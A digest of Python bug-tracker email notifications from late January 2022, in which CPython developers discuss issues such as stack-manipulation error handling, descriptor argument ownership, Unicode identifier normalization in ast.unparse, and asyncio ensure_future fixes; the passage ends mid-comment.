title: Add tests and documentation regarding context of exception in a finally block -> Add tests regarding context of exception in a finally block _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 13:47:41 2022 From: report at bugs.python.org (Dennis Sweeney) Date: Fri, 28 Jan 2022 18:47:41 +0000 Subject: [issue46528] Simplify the VM's stack manipulations In-Reply-To: <1643161199.78.0.253250267538.issue46528@roundup.psfhosted.org> Message-ID: <1643395661.03.0.259438481595.issue46528@roundup.psfhosted.org> Dennis Sweeney added the comment: Minor nit: I think swaptimize() should check the for PyMem_Malloc returning NULL here. // Create an array with elements {0, 1, 2, ..., depth - 1}: int *stack = PyMem_Malloc(depth * sizeof(int)); for (int i = 0; i < depth; i++) { stack[i] = i; } ---------- nosy: +Dennis Sweeney _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 14:05:08 2022 From: report at bugs.python.org (Irit Katriel) Date: Fri, 28 Jan 2022 19:05:08 +0000 Subject: [issue36346] Prepare for removing the legacy Unicode C API In-Reply-To: <1552918981.83.0.901300276481.issue36346@roundup.psfhosted.org> Message-ID: <1643396708.72.0.160172798411.issue36346@roundup.psfhosted.org> Irit Katriel added the comment: Is there anything left to do here? ---------- nosy: +iritkatriel _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 14:12:25 2022 From: report at bugs.python.org (Irit Katriel) Date: Fri, 28 Jan 2022 19:12:25 +0000 Subject: [issue34888] Python3.8 optimizes away a "while" line In-Reply-To: <1538611241.01.0.545547206417.issue34888@psf.upfronthosting.co.za> Message-ID: <1643397145.89.0.0293571624344.issue34888@roundup.psfhosted.org> Irit Katriel added the comment: Does PEP626 help with this problem? ---------- nosy: +iritkatriel _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 14:25:54 2022 From: report at bugs.python.org (Gregory P. Smith) Date: Fri, 28 Jan 2022 19:25:54 +0000 Subject: [issue40746] test_gdb failing on 32-bit armv7l when built with GCC -Og: Cannot access memory at address 0xfffffedc In-Reply-To: <1590258625.25.0.246740749681.issue40746@roundup.psfhosted.org> Message-ID: <1643397954.13.0.455068120748.issue40746@roundup.psfhosted.org> Gregory P. Smith added the comment: I manually tested this on 3.11 main and it appears to be working. ---------- resolution: -> works for me stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 14:35:48 2022 From: report at bugs.python.org (Irit Katriel) Date: Fri, 28 Jan 2022 19:35:48 +0000 Subject: [issue34284] Nonsensical exception message when calling `__new__` on non-instaniable objects In-Reply-To: <1532981101.24.0.56676864532.issue34284@psf.upfronthosting.co.za> Message-ID: <1643398548.37.0.661777935041.issue34284@roundup.psfhosted.org> Change by Irit Katriel : ---------- versions: +Python 3.11 -Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 14:43:34 2022 From: report at bugs.python.org (Irit Katriel) Date: Fri, 28 Jan 2022 19:43:34 +0000 Subject: [issue23291] Documentation about Py_Finalize(): Freeing objects In-Reply-To: <1421862824.96.0.769285888679.issue23291@psf.upfronthosting.co.za> Message-ID: <1643399014.74.0.969670216198.issue23291@roundup.psfhosted.org> Change by Irit Katriel : ---------- assignee: -> docs at python components: +Documentation nosy: +docs at python, iritkatriel, vstinner versions: +Python 3.10, Python 3.11, Python 3.9 -Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 14:51:38 2022 From: report at bugs.python.org (Irit Katriel) Date: Fri, 28 Jan 2022 19:51:38 +0000 Subject: [issue37588] Py_DEPRECATED and unavoidable warnings In-Reply-To: <1563040436.19.0.276806879722.issue37588@roundup.psfhosted.org> Message-ID: <1643399498.69.0.244790787449.issue37588@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> rejected stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 14:59:50 2022 From: report at bugs.python.org (Irit Katriel) Date: Fri, 28 Jan 2022 19:59:50 +0000 Subject: [issue45555] Object stays alive for weak reference if an exception happens in constructor In-Reply-To: <1634828082.31.0.276861942935.issue45555@roundup.psfhosted.org> Message-ID: <1643399990.37.0.508012241108.issue45555@roundup.psfhosted.org> Irit Katriel added the comment: I don't think there's any suitable place in the documentation to describe this. Like Pablo says, it is one of the many ways in which you can create a reference to an object. ---------- nosy: +iritkatriel stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 15:04:26 2022 From: report at bugs.python.org (Irit Katriel) Date: Fri, 28 Jan 2022 20:04:26 +0000 Subject: [issue39486] Confusing error messages for %-formatting, related to escaped %-characters In-Reply-To: <1580309349.27.0.404972763443.issue39486@roundup.psfhosted.org> Message-ID: <1643400266.61.0.876590095447.issue39486@roundup.psfhosted.org> Irit Katriel added the comment: On 3.11: >>> "%+%abc% %" % () Traceback (most recent call last): File "", line 1, in TypeError: not enough arguments for format string >>> "%+%abc% %" % {} Traceback (most recent call last): File "", line 1, in ValueError: unsupported format character '%' (0x25) at index 2 ---------- nosy: +iritkatriel title: bug in %-formatting in Python, related to escaped %-characters -> Confusing error messages for %-formatting, related to escaped %-characters versions: +Python 3.11 -Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 15:13:57 2022 From: report at bugs.python.org (Brandt Bucher) Date: Fri, 28 Jan 2022 20:13:57 +0000 Subject: [issue46528] Simplify the VM's stack manipulations In-Reply-To: <1643161199.78.0.253250267538.issue46528@roundup.psfhosted.org> Message-ID: <1643400837.8.0.751710231229.issue46528@roundup.psfhosted.org> Brandt Bucher added the comment: Hm, yeah. Bummer that this needs error handling now. I'll have a fix up soon. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 15:42:25 2022 From: report at bugs.python.org (Irit Katriel) Date: Fri, 28 Jan 2022 20:42:25 +0000 Subject: [issue46458] Optimise try-except code generation for the happy path In-Reply-To: <1642778763.27.0.10743946589.issue46458@roundup.psfhosted.org> Message-ID: <1643402545.14.0.929963204161.issue46458@roundup.psfhosted.org> Irit Katriel added the comment: New changeset 36f538c8092eeb3d5b8bc9df0ae7cc348f08a865 by Irit Katriel in branch 'main': bpo-46458: Add tests for context of exception in finally block (GH-30986) https://github.com/python/cpython/commit/36f538c8092eeb3d5b8bc9df0ae7cc348f08a865 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 15:43:18 2022 From: report at bugs.python.org (Irit Katriel) Date: Fri, 28 Jan 2022 20:43:18 +0000 Subject: [issue46563] Add tests regarding context of exception in a finally block In-Reply-To: <1643384698.2.0.455310803456.issue46563@roundup.psfhosted.org> Message-ID: <1643402598.71.0.907883300521.issue46563@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 16:01:30 2022 From: report at bugs.python.org (Irit Katriel) Date: Fri, 28 Jan 2022 21:01:30 +0000 Subject: [issue6682] Default traceback does not handle PEP302 loaded modules In-Reply-To: <1250000791.92.0.10910978351.issue6682@psf.upfronthosting.co.za> Message-ID: <1643403690.48.0.329624974051.issue6682@roundup.psfhosted.org> Irit Katriel added the comment: This was reported for 2.6, not clear why 3.1 and 3.2 were added later. Anyway, I'm not seeing the issue on 3.11 (with a script updated for python-3 prints). Also, imp is deprecated now. ---------- nosy: +iritkatriel resolution: -> out of date stage: needs patch -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 16:23:01 2022 From: report at bugs.python.org (Gregory Beauregard) Date: Fri, 28 Jan 2022 21:23:01 +0000 Subject: [issue46511] dataclasses: Allow typing.Annotated to wrap dataclasses-specific annotations In-Reply-To: <1643101368.65.0.575407689959.issue46511@roundup.psfhosted.org> Message-ID: <1643404981.05.0.303380953695.issue46511@roundup.psfhosted.org> Change by Gregory Beauregard : ---------- keywords: +patch pull_requests: +29178 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30997 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 16:31:30 2022 From: report at bugs.python.org (Gregory Beauregard) Date: Fri, 28 Jan 2022 21:31:30 +0000 Subject: [issue46511] dataclasses: Allow typing.Annotated to wrap dataclasses-specific annotations In-Reply-To: <1643101368.65.0.575407689959.issue46511@roundup.psfhosted.org> Message-ID: <1643405490.55.0.139641238658.issue46511@roundup.psfhosted.org> Gregory Beauregard added the comment: I had a few style, approach, and testing preference questions, but I decided they're probably best addressed in a code review so I went ahead and posted the PR. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 16:33:53 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Fri, 28 Jan 2022 21:33:53 +0000 Subject: [issue46329] Split up the CALL_NO_KW and CALL_KW instructions. In-Reply-To: <1641819285.76.0.605357810946.issue46329@roundup.psfhosted.org> Message-ID: <1643405633.18.0.523060309997.issue46329@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: Seems that this PR is causing some segfaults. See https://github.com/python/cpython/pull/30855#issuecomment-1024658459 ---------- nosy: +pablogsal _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 17:05:53 2022 From: report at bugs.python.org (Maxwell Bernstein) Date: Fri, 28 Jan 2022 22:05:53 +0000 Subject: [issue46561] Descriptor resolution should own arguments passed to descriptors In-Reply-To: <1643353574.8.0.417486846684.issue46561@roundup.psfhosted.org> Message-ID: <1643407553.26.0.665253902295.issue46561@roundup.psfhosted.org> Maxwell Bernstein added the comment: Hi Dennis, Sorry, let me be more clear. CPython in general ensures that objects passed in as arguments to a function will live for the duration of the function call if they are otherwise untouched. As it is now, this invariant is not maintained when calling the __get__ descriptor. Right now, it is not only borrowed by the callee but also not owned by the caller (!). Max ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 17:10:13 2022 From: report at bugs.python.org (Brandt Bucher) Date: Fri, 28 Jan 2022 22:10:13 +0000 Subject: [issue45628] TimedRotatingFileHandler backupCount not working In-Reply-To: <1635348193.15.0.970239577461.issue45628@roundup.psfhosted.org> Message-ID: <1643407813.37.0.450316433906.issue45628@roundup.psfhosted.org> Change by Brandt Bucher : ---------- nosy: +brandtbucher nosy_count: 3.0 -> 4.0 pull_requests: +29179 pull_request: https://github.com/python/cpython/pull/30998 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 17:16:17 2022 From: report at bugs.python.org (Guido van Rossum) Date: Fri, 28 Jan 2022 22:16:17 +0000 Subject: [issue26552] Failing ensure_future still creates a Task In-Reply-To: <1457869570.39.0.866858008064.issue26552@psf.upfronthosting.co.za> Message-ID: <1643408177.93.0.84354374725.issue26552@roundup.psfhosted.org> Guido van Rossum added the comment: So I just realized that the OP's description is slightly misleading. (Their code is spot on though!) The code does not create an unwaited-for *task*, assuming that "task" refers to the asyncio.Task class. What is created is a *coroutine* object that's never awaited (as the quoted RuntimeWarning message says: "coroutine 'foo' was never awaited"). So the thing that needs to be closed in the bowels of _ensure_future() is indeed the argument (coro_or_future), in case it is a coroutine object. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 17:17:27 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 28 Jan 2022 22:17:27 +0000 Subject: =?utf-8?q?=5Bissue46497=5D_IDLE_macOS_shortcut_ctrl+S_doesn=E2=80=99t_wor?= =?utf-8?q?k_for_show_completions?= In-Reply-To: <1642998793.55.0.428070872665.issue46497@roundup.psfhosted.org> Message-ID: <1643408247.56.0.217608968048.issue46497@roundup.psfhosted.org> Terry J. Reedy added the comment: I believe that this is a subset of #18444. There are other shortcut that 'flash' a menu entry but do nothing. But I would consider a fix for this short of fixing everything. How do you disable the default for ^space? In mac settings or tkinter (tk) settings? ---------- components: +macOS nosy: +ned.deily, ronaldoussoren versions: +Python 3.11 -Python 3.10, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 17:24:42 2022 From: report at bugs.python.org (Guido van Rossum) Date: Fri, 28 Jan 2022 22:24:42 +0000 Subject: [issue26552] Failing ensure_future still creates a Task In-Reply-To: <1457869570.39.0.866858008064.issue26552@psf.upfronthosting.co.za> Message-ID: <1643408682.53.0.165606755685.issue26552@roundup.psfhosted.org> Guido van Rossum added the comment: New changeset 24cc6411adbfe5555ecd8901f1ea50caa414c908 by Kumar Aditya in branch 'main': bpo-26552: Fixed case where failing `asyncio.ensure_future` did not close the coroutine (#30288) https://github.com/python/cpython/commit/24cc6411adbfe5555ecd8901f1ea50caa414c908 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 17:25:51 2022 From: report at bugs.python.org (Maxwell Bernstein) Date: Fri, 28 Jan 2022 22:25:51 +0000 Subject: [issue46561] Descriptor resolution should own arguments passed to descriptors In-Reply-To: <1643353574.8.0.417486846684.issue46561@roundup.psfhosted.org> Message-ID: <1643408751.33.0.491806911629.issue46561@roundup.psfhosted.org> Change by Maxwell Bernstein : ---------- components: +C API _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 17:26:00 2022 From: report at bugs.python.org (Guido van Rossum) Date: Fri, 28 Jan 2022 22:26:00 +0000 Subject: [issue26552] Failing ensure_future still creates a Task In-Reply-To: <1457869570.39.0.866858008064.issue26552@psf.upfronthosting.co.za> Message-ID: <1643408760.51.0.11755136911.issue26552@roundup.psfhosted.org> Guido van Rossum added the comment: Thanks Kumar for the fix! ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 17:26:38 2022 From: report at bugs.python.org (Maxwell Bernstein) Date: Fri, 28 Jan 2022 22:26:38 +0000 Subject: [issue46561] Descriptor resolution should own arguments passed to descriptors In-Reply-To: <1643353574.8.0.417486846684.issue46561@roundup.psfhosted.org> Message-ID: <1643408798.11.0.335286636175.issue46561@roundup.psfhosted.org> Maxwell Bernstein added the comment: Ah, and another piece of the puzzle: this can happen in runtimes like Cinder that provide their own native code entrypoints to functions like a __get__. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 17:44:18 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Fri, 28 Jan 2022 22:44:18 +0000 Subject: [issue24398] Update test_capi to use test.support.script_helper In-Reply-To: <1433614432.33.0.0607159967244.issue24398@psf.upfronthosting.co.za> Message-ID: <1643409858.85.0.835012588747.issue24398@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- nosy: +iritkatriel _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 17:55:14 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 28 Jan 2022 22:55:14 +0000 Subject: [issue46501] Windows 10, turtle left right not working In-Reply-To: <1643036033.59.0.504924509366.issue46501@roundup.psfhosted.org> Message-ID: <1643410514.19.0.434514424696.issue46501@roundup.psfhosted.org> Terry J. Reedy added the comment: When posting code for a bug report, here or anywhere else, please use the minimal code needed to demonstrate the issue. That includes using default arg values. And do not use non-essential files that responders will not have. Anyway, with default background, turtle, and color, on my Win 10 3.10.2 64 bit install, your code works fine. Up and down arrows move turtle forward and back; right and left turn the turtle. The difference from the web site, likely running on *nix, is that I have to press keys multiple times instead of holding them down. I have no idea what the difference might be from your Win 10 system. ---------- nosy: +terry.reedy _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 18:03:03 2022 From: report at bugs.python.org (miss-islington) Date: Fri, 28 Jan 2022 23:03:03 +0000 Subject: [issue43112] SOABI on Linux does not distinguish between GNU libc and musl libc In-Reply-To: <1612344373.45.0.663786135841.issue43112@roundup.psfhosted.org> Message-ID: <1643410983.67.0.44604365868.issue43112@roundup.psfhosted.org> miss-islington added the comment: New changeset 1f036ede59e2c4befc07714cf76603c591d5c972 by Natanael Copa in branch 'main': bpo-43112: detect musl as a separate SOABI (GH-24502) https://github.com/python/cpython/commit/1f036ede59e2c4befc07714cf76603c591d5c972 ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 18:12:53 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 28 Jan 2022 23:12:53 +0000 Subject: [issue46512] filecmp.cmpfiles w/ absolute path names In-Reply-To: <1643103970.65.0.0273493721081.issue46512@roundup.psfhosted.org> Message-ID: <1643411573.35.0.186864920069.issue46512@roundup.psfhosted.org> Terry J. Reedy added the comment: https://docs.python.org/3/library/filecmp.html#filecmp.cmpfiles I consider not working for absolute path names to be a bug. Did your example work with relative paths? ---------- nosy: +terry.reedy title: Explicit or correct behavior of filecmp.cmpfiles w/ absolute path names -> filecmp.cmpfiles w/ absolute path names _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 18:17:27 2022 From: report at bugs.python.org (Brandt Bucher) Date: Fri, 28 Jan 2022 23:17:27 +0000 Subject: [issue46528] Simplify the VM's stack manipulations In-Reply-To: <1643161199.78.0.253250267538.issue46528@roundup.psfhosted.org> Message-ID: <1643411847.55.0.316927613554.issue46528@roundup.psfhosted.org> Change by Brandt Bucher : ---------- pull_requests: +29180 pull_request: https://github.com/python/cpython/pull/30998 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 18:18:22 2022 From: report at bugs.python.org (Brandt Bucher) Date: Fri, 28 Jan 2022 23:18:22 +0000 Subject: [issue45628] TimedRotatingFileHandler backupCount not working In-Reply-To: <1635348193.15.0.970239577461.issue45628@roundup.psfhosted.org> Message-ID: <1643411902.33.0.996901636748.issue45628@roundup.psfhosted.org> Change by Brandt Bucher : ---------- pull_requests: -29179 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 18:18:45 2022 From: report at bugs.python.org (Brandt Bucher) Date: Fri, 28 Jan 2022 23:18:45 +0000 Subject: [issue45628] TimedRotatingFileHandler backupCount not working In-Reply-To: <1635348193.15.0.970239577461.issue45628@roundup.psfhosted.org> Message-ID: <1643411925.22.0.566148259393.issue45628@roundup.psfhosted.org> Change by Brandt Bucher : ---------- nosy: -brandtbucher _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 18:40:59 2022 From: report at bugs.python.org (Brett Cannon) Date: Fri, 28 Jan 2022 23:40:59 +0000 Subject: [issue29688] Add support for Path.absolute() In-Reply-To: <1488389848.79.0.700814097868.issue29688@psf.upfronthosting.co.za> Message-ID: <1643413259.27.0.193786228152.issue29688@roundup.psfhosted.org> Brett Cannon added the comment: New changeset 18cb2ef46c9998480f7182048435bc58265c88f2 by Barney Gale in branch 'main': bpo-29688: document and test `pathlib.Path.absolute()` (GH-26153) https://github.com/python/cpython/commit/18cb2ef46c9998480f7182048435bc58265c88f2 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 18:49:38 2022 From: report at bugs.python.org (=?utf-8?b?R8Opcnk=?=) Date: Fri, 28 Jan 2022 23:49:38 +0000 Subject: [issue46285] protocol_version in http.server.test can be ignored In-Reply-To: <1641494361.52.0.586828537376.issue46285@roundup.psfhosted.org> Message-ID: <1643413778.95.0.501673730891.issue46285@roundup.psfhosted.org> Change by G?ry : ---------- keywords: +patch pull_requests: +29181 stage: needs patch -> patch review pull_request: https://github.com/python/cpython/pull/30999 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 19:29:09 2022 From: report at bugs.python.org (=?utf-8?q?=C3=89ric_Araujo?=) Date: Sat, 29 Jan 2022 00:29:09 +0000 Subject: [issue43112] SOABI on Linux does not distinguish between GNU libc and musl libc In-Reply-To: <1612344373.45.0.663786135841.issue43112@roundup.psfhosted.org> Message-ID: <1643416149.34.0.906571832158.issue43112@roundup.psfhosted.org> Change by ?ric Araujo : ---------- pull_requests: +29182 pull_request: https://github.com/python/cpython/pull/31001 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 19:44:18 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Sat, 29 Jan 2022 00:44:18 +0000 Subject: [issue46520] ast.unparse produces bad code for identifiers that become keywords In-Reply-To: <1643123177.1.0.632269925829.issue46520@roundup.psfhosted.org> Message-ID: <1643417058.52.0.798071834626.issue46520@roundup.psfhosted.org> Terry J. Reedy added the comment: 'Reserved words' include all double underscore words, like __reserved__. Using such is allowed, but we reserve the right to break such code by adding a use for the word. 'def' is a keyword. Using identifier normalization to smuggle keywords into compiled code is a clever hack. But I am not sure that there is an actionable bug anywhere. The Unicode normalization rules are not defined by us. Changing how we use them or creating a custom normalization form is not to be done lightly. Should ast.parse raise? The effect is the same as "globals()['???']=1" (which is the same as passing 'def' or anything else that normalizes to it) and that in turn allows ">>> ???", which returns 1. Should such identifiers be outlawed? https://docs.python.org/3/reference/lexical_analysis.html#identifiers says "All identifiers are converted into the normal form NFKC while parsing; comparison of identifiers is based on NFKC." This does not say when an identifier is compared to the keyword set, before or after normalization. Currently is it before. Changing this to after could be considered a backwards-incompatible feature change that would require a deprecation period with syntax warnings. (Do other implementations also compare before normalization?) Batuhan already quoted https://docs.python.org/3/library/ast.html#ast.unparse and I mostly agree with his comments. The "would produce" part is contingent upon the result having no syntax errors, and that cannot be guaranteed. What could be done is to check every identifier against keywords and change the first character to a chosen NFKD equivalent. Although 'fixing' the ast this way would make unparse seem to work better succeed in this case, there are other fixes that might also be suggested for the same reason. Until this is done in CPython, anyone who cares could write an AST visitor to make the same change before calling unparse. Example code could be attached to this issue. ---------- nosy: +terry.reedy title: `ast.unparse` produces syntactically illegal code for identifiers that look like reserved words -> ast.unparse produces bad code for identifiers that become keywords _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 19:57:25 2022 From: report at bugs.python.org (Brandt Bucher) Date: Sat, 29 Jan 2022 00:57:25 +0000 Subject: [issue45953] Statically allocate interpreter states as much as possible. In-Reply-To: <1638384639.14.0.97360024283.issue45953@roundup.psfhosted.org> Message-ID: <1643417845.24.0.568666939548.issue45953@roundup.psfhosted.org> Brandt Bucher added the comment: Any chance we could revert the recent renaming of tstate.exc_state and tstate.root_cframe in https://github.com/python/cpython/pull/30590? It broke Greenlet again: https://github.com/python-greenlet/greenlet/issues/288 If it's only a name change (and the members themselves are the same), I think reverting it is preferable to burying Greenlet in more compatibility macros and bugging them to put out another new release. ---------- nosy: +brandtbucher _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 22:09:44 2022 From: report at bugs.python.org (Inada Naoki) Date: Sat, 29 Jan 2022 03:09:44 +0000 Subject: [issue36346] Prepare for removing the legacy Unicode C API In-Reply-To: <1552918981.83.0.901300276481.issue36346@roundup.psfhosted.org> Message-ID: <1643425784.37.0.917340419691.issue36346@roundup.psfhosted.org> Inada Naoki added the comment: No. I just waiting Python 3.11 become Bata. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 22:10:17 2022 From: report at bugs.python.org (Jacob Walls) Date: Sat, 29 Jan 2022 03:10:17 +0000 Subject: [issue41255] Argparse.parse_args exits on unrecognized option with exit_on_error=False In-Reply-To: <1594284033.21.0.100091861021.issue41255@roundup.psfhosted.org> Message-ID: <1643425817.95.0.194526104432.issue41255@roundup.psfhosted.org> Change by Jacob Walls : ---------- nosy: +jacobtylerwalls nosy_count: 6.0 -> 7.0 pull_requests: +29183 pull_request: https://github.com/python/cpython/pull/30832 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 22:10:20 2022 From: report at bugs.python.org (Inada Naoki) Date: Sat, 29 Jan 2022 03:10:20 +0000 Subject: [issue36346] Prepare for removing the legacy Unicode C API In-Reply-To: <1552918981.83.0.901300276481.issue36346@roundup.psfhosted.org> Message-ID: <1643425820.38.0.271262664713.issue36346@roundup.psfhosted.org> Change by Inada Naoki : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 22:21:39 2022 From: report at bugs.python.org (Eric V. Smith) Date: Sat, 29 Jan 2022 03:21:39 +0000 Subject: [issue46503] assertion failure in Parser/string_parser.c In-Reply-To: <1643049042.78.0.52932917864.issue46503@roundup.psfhosted.org> Message-ID: <1643426499.4.0.471136152944.issue46503@roundup.psfhosted.org> Eric V. Smith added the comment: In case anyone cares: in a non-debug build, this error had no real effect. It just caused the "find the literal part of an fstring" routine to terminate early, but since the part that it had already identified was still in error, a syntax error was still raised. For "\Nxy" it would terminate at "\Nx", instead of consuming the whole string. But since "\Nx" isn't a valid string (bad unicode name escape), it would raise the same syntax error as "\Nxy". ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 22:38:23 2022 From: report at bugs.python.org (Dennis Sweeney) Date: Sat, 29 Jan 2022 03:38:23 +0000 Subject: [issue46561] Descriptor resolution should own arguments passed to descriptors In-Reply-To: <1643353574.8.0.417486846684.issue46561@roundup.psfhosted.org> Message-ID: <1643427503.4.0.316338167541.issue46561@roundup.psfhosted.org> Dennis Sweeney added the comment: Hi Max, My apologies -- my first message was probably too dismissive. Is there any way to make the existing code crash with pure Python, and can we then add such a test case? If not with pure Python, then perhaps with some minimal reproducible example using the C API? Also, does the change have any effect on microbenchmarks involving the modified functions? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 22:39:07 2022 From: report at bugs.python.org (James Gerity) Date: Sat, 29 Jan 2022 03:39:07 +0000 Subject: [issue46555] Unicode-mangled names refer inconsistently to constants In-Reply-To: <1643320642.51.0.743138920796.issue46555@roundup.psfhosted.org> Message-ID: <1643427547.02.0.302644337161.issue46555@roundup.psfhosted.org> Change by James Gerity : ---------- nosy: +SnoopJeDi _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 23:58:38 2022 From: report at bugs.python.org (Kumar Aditya) Date: Sat, 29 Jan 2022 04:58:38 +0000 Subject: [issue46564] Near zero-cost super().meth() calls via adaptive superinstructions In-Reply-To: <1643387818.31.0.971991048266.issue46564@roundup.psfhosted.org> Message-ID: <1643432318.81.0.741776471747.issue46564@roundup.psfhosted.org> Kumar Aditya added the comment: I was reading typeobject.c and noticed that creating a super object currently requires creating a frame object which is created lazily and is slow and it would work with the InterpreterFrame as well so I created a PR for this optimization and now it does not requires creating frame objects. ---------- nosy: +kumaraditya303 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 23:59:22 2022 From: report at bugs.python.org (Kumar Aditya) Date: Sat, 29 Jan 2022 04:59:22 +0000 Subject: [issue46564] Near zero-cost super().meth() calls via adaptive superinstructions In-Reply-To: <1643387818.31.0.971991048266.issue46564@roundup.psfhosted.org> Message-ID: <1643432362.68.0.374376292795.issue46564@roundup.psfhosted.org> Change by Kumar Aditya : ---------- pull_requests: +29184 pull_request: https://github.com/python/cpython/pull/31002 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 00:15:27 2022 From: report at bugs.python.org (Kumar Aditya) Date: Sat, 29 Jan 2022 05:15:27 +0000 Subject: [issue26552] Failing ensure_future still creates a Task In-Reply-To: <1457869570.39.0.866858008064.issue26552@psf.upfronthosting.co.za> Message-ID: <1643433327.24.0.581712135666.issue26552@roundup.psfhosted.org> Change by Kumar Aditya : ---------- pull_requests: +29185 pull_request: https://github.com/python/cpython/pull/31003 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 00:16:18 2022 From: report at bugs.python.org (Ken Jin) Date: Sat, 29 Jan 2022 05:16:18 +0000 Subject: [issue46564] Near zero-cost super().meth() calls via adaptive superinstructions In-Reply-To: <1643387818.31.0.971991048266.issue46564@roundup.psfhosted.org> Message-ID: <1643433378.49.0.75577051601.issue46564@roundup.psfhosted.org> Ken Jin added the comment: @Kumar, my PR already has your changes. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 00:21:14 2022 From: report at bugs.python.org (Kumar Aditya) Date: Sat, 29 Jan 2022 05:21:14 +0000 Subject: [issue46564] Near zero-cost super().meth() calls via adaptive superinstructions In-Reply-To: <1643387818.31.0.971991048266.issue46564@roundup.psfhosted.org> Message-ID: <1643433674.57.0.656149925249.issue46564@roundup.psfhosted.org> Kumar Aditya added the comment: Oh, I didn't see your PR and commented as it was not mentioned in this bpo. Would you like to split the PR or continue with yours, either way is fine? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 00:52:02 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Sat, 29 Jan 2022 05:52:02 +0000 Subject: [issue46521] codeop._maybe_compile passes code with error + triple quotes In-Reply-To: <1643123376.15.0.69468893853.issue46521@roundup.psfhosted.org> Message-ID: <1643435522.57.0.816086419574.issue46521@roundup.psfhosted.org> Terry J. Reedy added the comment: Tushar, I am the principle IDLE maintainer and have dealt with similar interactive compile problems on and off for a few years. Code module uses codeop._maybe_compile, which in turn uses batch-mode compile(). To review: Code can be in 3 states: legal, illegal (there is an positive error that must be fixed), and incomplete (might become legal with more input). Batch mode compile has all the code it is going to get, so it raises an exception for both bad and incomplete code. In command-line languages, '\n' definitely signals end-of-command. Even in interactive mode, incomplete commands get an error message. The user must retype or recall and add more. Python is a multiline and compound statement language. Newline may instead signal the end of a compound statement header or the end of a nested statement, or even just be present for visual formatting. Being able to continue incomplete statements after newline is essential. In interactive mode, the interpreter looks at code after each newline and differentiates between unrecoverable and merely incomplete errors. In the latter case, it sends a prompt to enter more and then reads more. codeop._maybe compile attempts to simulate interactive mode and make a trinary decision (returning None for 'incomplete') using batch-mode binary compile(). A hack using repeated compiles, a warning filter, and a helper function classifies code that failed the initial compile. I suspect that a) it has never been perfect and b) it cannot be 